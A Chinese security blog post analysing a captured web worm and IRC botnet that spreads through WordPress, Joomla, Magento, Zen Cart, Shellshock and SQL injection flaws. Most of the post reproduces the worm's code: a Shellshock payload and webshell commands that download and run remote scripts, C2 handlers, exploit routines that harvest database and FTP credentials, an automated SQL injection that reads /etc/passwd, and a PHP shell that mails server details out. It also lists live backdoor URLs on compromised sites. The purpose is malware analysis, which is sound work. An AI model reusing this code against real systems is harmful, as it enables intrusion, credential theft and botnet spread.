新一代强悍web蠕虫被捕获,已感染千余网站

2015-12-30 1218824人围观 ,发现 27 个不明物体 WEB安全系统安全

* 原创作者:KibodWapon

最近,一个很新颖而且强大的web蠕虫被捕获,它功能上相当于一个综合漏洞扫描器。该蠕虫主要利用一些web程序的高危漏洞进行传播,其中包括phpmyadmin,wordpress,joomla,magento等等知名网站app的漏洞,还有破壳漏洞,ssh弱口令,sql注入,自动提权。

感染后的bot会从服务端接收指令,进行ddos攻击,漏洞扫描感染其他主机,作为http proxy,生成irc服务端等等。分析发现已经感染的主机里作为web proxy的网站已达1000个,后续我会把涉及的所有源码分享(包括臭名昭著的phpmyadmin蠕虫zmeu)。

 

0×01 起因

翻看vps web日志时候看到了攻击迹象,有zmeu的useragent,有shellshock的payload。


然后顺藤摸瓜getshell了一个bot(通过wordpress的一个漏洞下载数据库配置文件,用数据库密码成功登录wordpress,但是没有安装插件权限,在修改文章的地方插入insertPHP插件解析的php代码,韩语的折腾了1个多小时)。

在网站目录里找到一个功能很强大的php大马,支持bypass safe mode,安装代理等等,所以决定深入挖掘。


在这个bot上下载的一些源码,发现了触目惊心的CC程序。

0×02 分析

这个蠕虫仅仅pl脚本部分代码已达上万行,所以分析不当的地方请指出。Bot节点一旦扫描出某个服务器存在漏洞,就在该漏洞主机上下载控制脚本并执行,这个主机就沦为一个bot,最后会给控制者发送一封邮件注册该被控主机。例如Shellshock的payload

"() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";
system(\"wget http://xxxserver.com/shell.txt -O /tmp/shell.txt;curl -O /tmp/shell.txt http:// xxxserver.com/shell.txt;
perl /tmp/shell.txt ; rm -rf shell.txt \");'"

我们从web漏洞感染做为主线分析一下流程。为了简明我会把一些代码省略掉。

初始化远程下载服务器地址:

my $rceinjector = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/error.php";
my $rceinjector2 = "http://xn--80ahdkbnppbheq0fsb7br0a.xn--j1amh/xml.php";
#my $arbitrary = "http://www.handelwpolsce.pl/images/Sport/rce.php";
#my $hostinjector = "wordpress.com.longlifeweld.com.my";
my $thumbid = "http://".$hostinjector."/petx.php";
my $thumbidx = "http://".$hostinjector."/cpx.php";

linux 下载指令,通过web参数传递的,bot成功利用漏洞getshell后,会把这些下载被控端脚本的指令发送给webshell。

my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic1.php";
my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";

初始化1000个web代理后门地址,为后边批量采集做准备

my @randombarner= ("http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php",
"http://www.villaholidaycentre.co.uk/includes/js/calendar/lang/seka.php",
"http://viewwebinars.com/wp-includes/errors.php",
"http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php",
"http://www.linuxcompany.nl/modules/mod_login/error.php",
"http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php",
"http://liftoffconsulting.ca/wp-includes/errors.php",
"http://www.voileenligne.com/audio/komo.php",
"http://www.gingerteastudio.com//wp-content/uploads/components/search.php",
"www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php",
"http://sirena-fish.com/modules/mod_login/search.php",
"www.audiovisionglobal.pe/online/includes/js/calendar/lang/search.php",
"http://kavkazinterpress.ru/plugins/content/config.inc.php",
"http://dom-sad-ogorod.ru/plugins/search/config.inc.php",
。。。。。

声明全球各地搜索引擎的函数变量

my $engine       = "UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan,
Norway,Montenegro,Greece,Education,Goverment,Kazakhstan,
Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia,
Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,KonToL,PePek,TeTek,ItiL,Vagina,NenNen,SuSu,BuahDada,PayuDara,Kentot,eMeL,OraL,Klitoris,Masturbasi,Onani,Sperma,AnaL,Puting,Penis,MeMek,GooGLeCA,
................

连接上控制端服务器后循环读取并执行指令

while( 1 ) {
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
    select(undef, undef, undef, 0.01);
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
foreach $fh (@ready) {

自我管理的指令,自杀重启退出等等

if (&isAdmin($nick) && $msg eq "!die") {
                                    &shell("$path","kill -9 $$");
                            }
                            if (&isAdmin($nick) && $msg eq "!killall") {
                                    &shell("$path","killall -9 perl");
                            }
                            if (&isAdmin($nick) && $msg eq "!reset") {
                                    sendraw("QUIT :Restarting...");
                            }
                            if (&isAdmin($nick) && $msg =~ /^!joinx \#(.+)/) {
                                    sendraw("JOIN #".$1);
                            }
                            if (&isAdmin($nick) && $msg =~ /^!partx \#(.+)/) {
                                    sendraw("PART #".$1);
                            }
                            if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
                                    sendraw("NICK ".$1);
                            }
                            if (&isAdmin($nick) && $msg =~ /^!pid/) {
                                    sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
                            }
。。。。。。。。。

检测存放控制脚本等后门的服务器是否存活的指令,为后续下载被控脚本做准备

if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
                                    $inject1 = "";
                                    $inject2 = "";
                                    $inject3 = "";
                                    $inject4 = "";
                                    my $cekby1 = &get_content($rceinjector);
                                    my $cekby2 = &get_content($thumbid);
                                    #my $cekby3 = &get_content($arbitrary);
                                    my $cekby4 = &get_content($rceinjector2);
                                    if ($cekby1 =~ /b0m - exploit/i){ $inject1 = "
9Ready!!!"; } else { $inject1 = "4Lost!!!"; }                                    if ($cekby2 =~ /b0m aka albcr3w/i){ $inject2 = "
9Ready!!!"; } else { $inject2 = "4Lost!!!"; }                                    #if ($cekby3 =~ /BArNEr/i){ $inject3 = "
9Ready!!!"; } else { $inject3 = "4Lost!!!"; }                                    if ($cekby4 =~ /BArNEr/i){ $inject4 = "
9Ready!!!"; } else { $inject4 = "4Lost!!!"; }                                    #&msg("$path","
12Injector Checker");                                                   &msg("$path","
12RCE Injector : $inject1");                                    #&msg("$path","
12Timthumb Injector : $inject2");                                        #&msg("$path","
12Arbitrary Injector : $inject3");                                             &msg("$path","12RCE Injector2 : $inject4");

检测web代理列表的存活情况,如果存活在用来作为使用搜索引擎采集攻击目标的代理。

if (&isAdmin($nick) && $msg eq "!bypass") {
                                my $bystats1 = "";
                                my $bystats2 = "";
                                my $bystats3 = "";
                                my $bystats4 = "";
                                my $bystats5 = "";
                                my $bystats6 = "";
                                my $bystats7 = "";
                                my $bystats8 = "";
                                my $bystats9 = "";
                                my $bystats10 = "";
                                my $bystats11 = "";
                                my $bystats12 = "";
                                my $bystats13 = "";
 
                                my $cekby1 = &get_content($jack1."search");
                                my $cekby2 = &get_content($jack2."search");                              
                                my $cekby3 = &get_content($jack3."search");
                                my $cekby4 = &get_content($jack4."search");
                                my $cekby5 = &get_content($jack5."search");
                                。。。。。。。。
                                。。。。。。
 
                                if ($cekby1 =~ /search/i){ $bystats1 = "
9Up!"; } else { $bystats1 = "4Lost!"; }                                if ($cekby2 =~ /search/i){ $bystats2 = "
9Up!"; } else { $bystats2 = "4Lost!"; }                                if ($cekby3 =~ /search/i){ $bystats3 = "
9Up!"; } else { $bystats3 = "4Lost!"; }                                if ($cekby4 =~ /search/i){ $bystats4 = "
9Up!"; } else { $bystats4 = "4Lost!"; }                                if ($cekby5 =~ /search/i){ $bystats5 = "
。。。。。。

如果指令是web漏洞扫描,bot则先通过批量代理搜索例如google dork(inurl:wp-admin) 等等,然后批量检测特定web程序漏洞

if (&isAdmin($nick) && $msg =~ /^$mag50pxd\s+(.*)/) {
                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                             my $dork = $1;
                                             my $check = &read_dorks($dork);
                                                      if ($check == 1) {
                                                               &msg("$path","
12$nick  4Re-scan detected"); exit;                                                      } else {
                                             &msg("$chanxxx","
12@4$nick  3Scanning on  4$path  ");                                             &msg("$path","
14scanning MaGmi started...");                                                sendraw("MODE $path +m");
                                                      &write_dorks($dork);
                                             &se_start($path,$bug,$dork,$engine,4,$nick);
                                                      }
                                             }
                                    }
                            }
                            if (&isAdmin($nick) && $msg =~ /^$rescmd\s+(.*)/) {
                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                             my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
                                             my $check = &read_dorks($dork);
                                                      if ($check == 1) {
                                                               &msg("$path","
12$nick  4Re-scan detected"); exit;                                                      } else {
                                             &msg("$chanxxx","
12@4$nick  3Scanning on  4$path  ");                                             &msg("$path","
14scanning RevSlider Upload started...");                            sendraw("MODE $path +m");
                                                      &write_dorks($dork);
                                                 &se_start($path,$bug,$dork,$engine,5,$nick);
                                                      }
                                             }
                                    }
                            }
                            if ($msg =~ /^$jomcmd\s+(.*)/) {
                        if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                                my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
                                                &msg("$chanxxx","
4,1Lapor3 $nick15,1 lagi scan Joomla di  4$path");                                                &msg("$channel","$jomlogo  
15Search Engine Loaded..");                                                &se_start($channel,$bug,$dork,$engine,2,$nick);
                                                }
                                        }
                                }
                            if ($msg=~ /^$zencmd\s+(.*)/) {
                    if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                            my ($bug,$dork) = ("extras/curltest.php",$1);
                            &msg("$path","$zenlogo  
9Dork :4 $dork");                            &msg("$path","$zenlogo  
3Search Engine Loading ...");                            &se_start($path,$bug,$dork,$engine,7,$nick);
                        }
                    }
                            }
                            if ($msg =~ /^$jcecmd\s+(.*)/) {
                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
                                             my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
                                             my $check = &read_dorks($dork);
                                                      if ($check == 1) {
                                                               &msg("$path","
12$nick  4Re-scan detected"); exit;                                                      } else {
                                             &msg("$chanxxx","
12@4$nick  3Scanning on  4$path  ");                                             &msg("$path","
14scanning jce started...");                                                sendraw("MODE $path +m");
                                                      &write_dorks($dork);
                                             &se_start($path,$bug,$dork,$engine,8,$nick);
                                                      }
                                             }
                                    }

我们举例分析一下zen cart 那个本地文件读取漏洞蠕虫的代码:

sub zen() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
my $nick = $_[4];
    my $count = 0;
    #
    #通过搜索批量代理引擎搜索zen cart
    #
    my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo,$nick);
    my $num = scalar(@list);
    if ($num > 0) {
    
                   #
                   # 对每一个网站进行漏洞检测
                   #
                   
        foreach my $site (@list) {
            $count++;
             if ($count == $num-1) { &msg("$chan","$zenlogo  
4$engine  0 Selesai"); }                      my $test  = "http://".$site."extras/curltest.php";
                          my $vuln  = "http://".$site."extras/ipn_test_return.php";
             my $html  = &get_content($test);
                                   if ($html =~ /Zen Cart/){
                                   my $target  = &get_content($vuln);
                                   if ($target =~ /failed to open stream/){
                                   my $dir   ="";
                                   if ($target =~ m/in <b>(.*?)\/extras\/ipn_test_return.php<\/b>/) {$dir = $1;}
                                  &msg("$chan","$zenlogo(
4@3VULN)14 http://".$site." [+]Direktori:  $dir");                            
                          
                          #
                          尝试读取数据库配置文件
                          #
                          my $data  = "http://".$site."/extras/curltest.php?url=file:///".$dir."/includes/configure.php";
                          my $sql  = &get_content($data);
                          if ($sql =~ m/'DB_SERVER', '(.*)'/g) {
            &msg("$chan","$zenlogo(
4@3VULN)15 http://".$site."  14[+]DB Server:  4$1");}                               if ($sql =~ m/'DB_SERVER_USERNAME', '(.*)_/g) {$user = $1;}
                                 &msg("$chan","$zenlogo(
4@3VULN)15 http://".$site."  14[+]DB username:  4$user");                                 if ($sql =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {$pass = $1;}
                                 &msg("$chan","$zenlogo(
4@3VULN)15 http://".$site."  14[+]DB password:  4$pass");                                    if ($sql =~ m/'DB_DATABASE', '(.*)'/g) {
             &msg("$chan","$zenlogo(
4@3VULN)15 http://".$site."  14[+]DB database:  4$1");}                   
                   #
                   #提取数据库用户名和密码
                   #
                   if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
                   my $cpx = "ftp://".$usr.":".$pass."@".$site."";
                   my $cp  = "ftp://$user:$pass@".$site."";
                   my $cpanel  = &get_content($cpx);
                   my $cpanel2  = &get_content($cp);
                   if ($cpanel =~ /ftp/){
                   &msg("$admin","$zenlogo(
4@3VULN)4,2 ftp://$usr:$pass@".$site."  $user:$pass Sukses");sleep(2);                   &msg("$admin","$zenlogo(
4@3VULN)15,2 http://".$site."/cpanel  $user:$pass Sukses Bos");sleep(2);            }
            if ($cpanel2 =~ /ftp/){
                   &msg("$admin","$zenlogo(
4@3VULN)4,2 ftp://$user:$pass@".$site."  $user:$pass Sukses");sleep(2);                   &msg("$admin","$zenlogo(
4@3VULN)15,2 http://".$site."/cpanel  $user:$pass Sukses Bos");sleep(2);                   }
                                                      my $hosts = "http://".$site;
                                                      if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
                                                               $host = $2;
                                #
                                #尝试用读取出来的数据库用户登录数据库
                                #
                                                                                                    &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$zenlogo);sleep(1);
                                                                      &msg("$chan","!ftp ".$host." ".$user." ".$pass."");
                                                                                if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; }
                                #
                                #尝试用数据库用户名和密码登陆ftp
                                #                                                                                        &ftp_connect($host,$user,$pass,$chan,$engine,$logo,$nick); sleep(2);
                                            &cp_connect($host,$dork,$user,$pass,$chan,$engine,$logo); sleep(2);
                                                                                         &wxftp($host,$user,$pass);
                                                                                         }
          sub wxftp() {
        my ($host,$user,$pass) = @_;
        my $success = 1;
        use Net::FTP;
        eval {
        my $ftp = Net::FTP->new($site, Debug => 0, Timeout => 5);
        $success = 0 if $ftp->login($user,$pass);
        $ftp->quit;
        };
        if ($success == 0) {
                            #
                            #成功后把消息发给控制端
                            #
                            &msg("$admin","
14,1[9FTP14] [  3http://".$site."  14] [".$user." : ".$pass."10]  6Success ");                            &msg("$nick","
14,1[9FTP14] [  3http://".$site."  14] [".$user." : ".$pass."10]  6Success ");                          return ("
9,1Success15 http://".$site." | Username: ".$user." | Password: ".$pass);        }
}
                                    }
                            }
                   }
          }
}
}

这算是一个简单过程举例。

我们再看一个wordpress 漏洞getshell后执行的一段php脚本。

error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
//
//给控制者发送一封邮件
//
mail("currier.davids@yahoo.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
mail("currier.davids@yahoo.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
//
//隐藏shell
//
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-contents/wp-images.php";
rename($source, $desti);
}
//
//判断一些基础环境
//
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF BArNEr";}
else {$security= "SAFE_MODE : ON Brewok";}
echo "<title>BArNEr</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}

下边对每一个模块进行概述性质的说明,代码庞大。

(1)、web感染模块

漏洞利用模块包括了几十个使用量最高的web程序高危漏洞getshell函数。

my $nob0dy    = "11Scanners   ";
my $thumblogo    = "11TIM   ";
my $lfilogo    = " 11LFI   ";
my $e107logo    = "11E107   ";
my $rfilogo    = "11rfi   ";
my $mmfclogo    = "11MMFC   ";
my $zenlogo    = "11ZEN   ";
my $jcelogo    = "11JCE   ";
my $xmllogo    = "11XML   ";
my $cliplogo    = "11CLIPBUCKET   ";
my $redlogo    = " 11REDMYSTIC   ";
my $whmlogo    = "11WHMCS   ";
my $livelogo    = "11LIVECART   ";
my $reflogo    = "11REFLEX-GALLERY   ";
my $oscologo    = "11OSCOMMERCE   ";
my $switchlogo    = "11SWITCHBLADE   ";
my $photologo    = "11PHOTOSTORE   ";
my $eleminlogo    = "11ELEMIN   ";
my $maglogo    = "11MAGNETO   ";
my $foliologo    = "11BT-PORTFOLIO   ";
my $rcilogo    = "11RCI   ";
my $uplogo    = "11UP   ";
my $jnewslogo    = "11JNEWS   ";
my $jinclogo    = "11JINC   ";
my $oscologo     = "11OsCo  ";
my $mag2logo     = "11MaGmi  ";
my $revlogo     = "11RevSLider  ";
my $startlogo    = " 11Scanning Start ";
my $jnewslogo    = " 11JNews ";
my $jcelogo    = " 11JCE Finder ";
my $civicrmlogo    = " 11Civicrm ";
my $jinclogo    = " 11JINC ";
my $letterlogo    = " 11JnewsLetter ";
my $acylogo    = " 11Acymailing ";
my $maianlogo    = " 11Maianmedia ";
my $redmistyclogo    = " 11RedMystc ";
my $phpvmslogo    = " 11PhpVms ";
my $clipbucketlogo    = " 11ClipBucket ";
my $reflexlogo    = " 11ReFlex Gallery ";
my $maian15logo    = " 11Maian15 ";
my $livecart15logo    = " 11Live Cart ";
my $switchbladelogo    = " 11Switchblade ";
my $coldfusionlogo    = " 11Coldfusion ";
my $joomleaguelogo    = " 11Joomleague ";
my $photostorelogo    = " 11PhotoStore ";
my $thumblogo    = " 11Timthumb ";
my $sqllogo    = " 11SQL Injection ";
my $zenlogo    = " 11Zencart ";
my $rfilogo    = " 11RFI ";
my $pointofsalelogo    = " 11point of sale ";
my $nob0dy    = " 4,1Revolt 8OWN 14PRIVATE 112015";
my $jcelogo    = "  11JCE ";
my $revlogo    = "  11RevSLider ";
my $reslogo    = "  11ReSLider ";
my $jomlogo    = "  11jDownloads ";
my $mag2logo = "  11MaGmi ";
my $maglogo    = "  11MagEnto ";
my $jdllogo    = "  11jDownloadz ";
my $zenlogo    = "  11Zen ";
my $searchlogo     = " 8Search";
my $rsqllogo     = " 8DB-Rev";
my $revlogo     = " 8RevSLider";
my $mag2logo     = " 8MaGmi";

上面每一个变量对应一个web漏洞,例如mag2logo 对应 Magento Server MAGMI Plugin的一个RFI漏洞

想了解漏洞详情,可以参考地址 : https://www.exploit-db.com/exploits/35052/

蠕虫里利用代码如下:

sub magmi_xpl() {
my $ua = LWP::UserAgent->new;
   $ua->timeout(10);
my $url    = $_[0];
my $chan   = $_[1];
my $site   = $_[2];
my $engine = $_[3];
my $action = "http://".$site."magmi/web/magmi.php";
my $update_file = "linux.zip";
my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
   my $status  = $exploit->as_string;
   my $check = &get_content("http://".$site."magmi/plugins/linux/update.php");
   if ($check =~ /b0m aka albcr3w/) {
   my $safe = "";
   my $os = "";
    if ($check =~ m/<b>SAFE MODE is (.*?)<\/b>/) {$safe = $1;}
    if ($check =~ m/<br>OS : (.*?)<br>/){$os=$1;}
   &msg("$chan","$mag2logo  
5[4-5=4[[1] 8$engine[1] 4]5=4-5]  15(4@13SHeLL115)4 http://".$site."magmi/plugins/linux/update.php  9(4@15MazaCrew9) ");sleep(2);   &msg("$admin","$mag2logo  
5[4-5=4[[1] 8$engine[1] 4]5=4-5]  15(4@13SHeLL115)4 http://".$site."magmi/plugins/linux/update.php  9(4@15MazaCrew9) ");sleep(2); 
}
sub magmi2_xpl() {
my $ua = LWP::UserAgent->new;
   $ua->timeout(10);
my $url    = $_[0];
my $chan   = $_[1];
my $site   = $_[2];
my $engine = $_[3];
my $action = "http://".$site."magmi/web/plugin_upload.php";
my $update_file = "linux.zip";
my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]);
   my $status  = $exploit->as_string;
   my $check = &get_content("http://".$site."magmi/plugins/linux/update.php");
   if ($check =~ /b0m aka albcr3w/) {
   my $safe = ""; my $os = "";
   if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
   if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;}
   &msg("$chan","$mag2logo  
5[4-5=4[[1] 8$engine[1] 4]5=4-5]  15(4@13SHeLL215)4 http://".$site."magmi/plugins/linux/update.php  9(4@15MazaCrew9) ");sleep(2);   &msg("$admin","$mag2logo  
5[4-5=4[[1] 8$engine[1] 4]5=4-5]  15(4@13SHeLL215)4 http://".$site."magmi/plugins/linux/update.php  9(4@15MazaCrew9) ");sleep(2);   }
}

再例如joomleaguelogo 对应joomla的一个任意文件上传漏洞,可以参考

https://packetstormsecurity.com/files/123865/Joomla-Joomleague-Shell-Upload.html

蠕虫代码如下:

sub joomleague_exploit() {
   my $chan = $_[0];
   my $bug = $_[1];
   my $simpan = $_[2];
   my $dork = $_[3];
   my $engine = $_[4];
   my $count = 0;
   my @totexploit = &search_engine($chan,$bug,$dork,$engine,$joomleaguelogo);
   my $num = scalar(@totexploit);
   if ($num > 0){
           foreach my $site(@totexploit){
           $count++;
           if ($count == $num-1) { &msg("$chan","$joomleaguelogo[1] 
15$engine  9Finished[1]  15for  9$dork  "); } 
                    if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $nama = $simpan;
my $joomleagueshell = "http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/kliverz.php";
 
my $joomleagues = "http://".$site."/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php";
my $cek  = &get_content($joomleagues);
                             if ($cek =~ /Saving your image/i){
                                      &msg("$chan","$joomleaguelogo
15$engine  9e3x9p3l9o3i9t3i9n3g  15http://$site  "); 
my $type = $rceinjector."?url=".$site."&type=joomleague";
 
my $cekk = &get_content($type);sleep(1);
$check = &get_content($joomleagueshell."?kliverz");
&get_content($joomleagueshell."?delete");
&get_content($joomleagueshell."?botnet");
 
if ($cekk =~ /sukses bos kliverz/i){
                             if ($check =~ /Indramayu CyBer/i) {       sleep(1);                    my $safe = ""; my $os = ""; my $uid = "";
 
                             if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
                             if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
                             if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
                             &msg("$chan","$joomleaguelogo
4TARGET1  12SEND  3TO 13$nama Selamatt Yaaa... ^_^  4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid  ");                             &msg("$nama","$joomleaguelogo
15$engine  4<9=4>9 sHeLL  4<9=4>9 $joomleagueshell15 (SafeMode=$safe) (OS=$os) uid=$uid  "); 
}
}
}
                    } exit; }
           }
   }
}

sqllogo对应sql注入漏洞利用模块,从搜索引擎抓取网站的连接,然后尝试sql注入利用,支持mysql,access,sqlserver等数据库。注入成功后如果是mysql数据库,则尝试获得数据库用户名和密码和读取/etc/passwd 、/etc/shadow等文件,如成功则把结果发给控制端。

sub sql_exploit() {
   my $chan = $_[0];
   my $bug = $_[1];
   my $simpan = $_[2];
   my $dork = $_[3];
   my $engine = $_[4];
   my $count = 0;
   my @totexploit = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
   my $num = scalar(@totexploit);
   if ($num > 0){
           foreach my $site(@totexploit){
           $count++;
           if ($count == $num-1) { &msg("$chan","$sqllogo[1] 
15$engine  9Finished[1]  15for  9$dork  "); }          
                    my $test = "http://".$site.$bug."'";
                    my $vuln = "http://".$site."
12".$bug;                    my $sqlsite = "http://".$site.$bug;
                    my $html = &get_content($test);sleep(1);
                    if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {                
          
                    if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
                        &sqlbrute($sqlsite,$chan,$engine);}
                   
                    elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
                       &msg("$chan","
$sqllogo(4@3$engine15)15(7@12MsSQL15)4 ".$vuln);                             &sqlbrute($sqlsite,$chan,$engine);}
                   
                    elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
                       &msg("$chan","
$sqllogo(4@3$engine15)15(9@12MsAccess15)4 ".$vuln);                             &sqlbrute($sqlsite,$chan,$engine);}
                   
                    elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
                             &sqlbrute($sqlsite,$chan,$engine);}             
 
          
          
                    } exit; }
           }
   }
}
 

  
sub sqlbrute() {
                    my $situs=$_[0];
                    my $chan  =$_[1];
                    my $engine=$_[2];
                    my $columns=30;
            my $cfin.="--";
            my $cmn.= "+";
   for ($column = 0 ; $column < $columns ; $column ++)
   {
   $union.=','.$column;
   $inyection.=','."0x6c6f67696e70776e7a";
   if ($column == 0)
     {
             $inyection = '';
             $union = '';
     }
   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
   $response=get($sql);
   if($response =~ /loginpwnz/)
           {
            $column ++;
            $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
            &msg("$chan","
$sqllogo(4@3$engine15)15(4@12SQL15)9 $sql  ");            $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
            $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
            if($response =~ /loginpwnz/)
                   {
                   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            &msg("$chan","
$sqllogo(4@3$engine15)15(4@12SQL15)(4@14INFO_SCHEMA14)9 $sql  ");                   }
            $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
            $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
            if($response =~ /loginpwnz/)
                   {
                   $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
            &msg("$chan","
$sqllogo(4@3$engine15)15(4@12SQL15)(4@14USER14)9 $sql  ");                   }
            else
                   {
                   }
   while ($loadcont < $column-1)
      {
           $loadfile.=','.'load_file(0x2f6574632f706173737764)';
           $loadcont++;
      }
      $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
   $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
            if($response =~ /root:x:/)
                   {
              &msg("$chan","
0,1$sqllogo(4@3$engine15)15(4@12SQL15)(4@14Load File14)9 $sql  ");                    }
            else
                   {
                   }
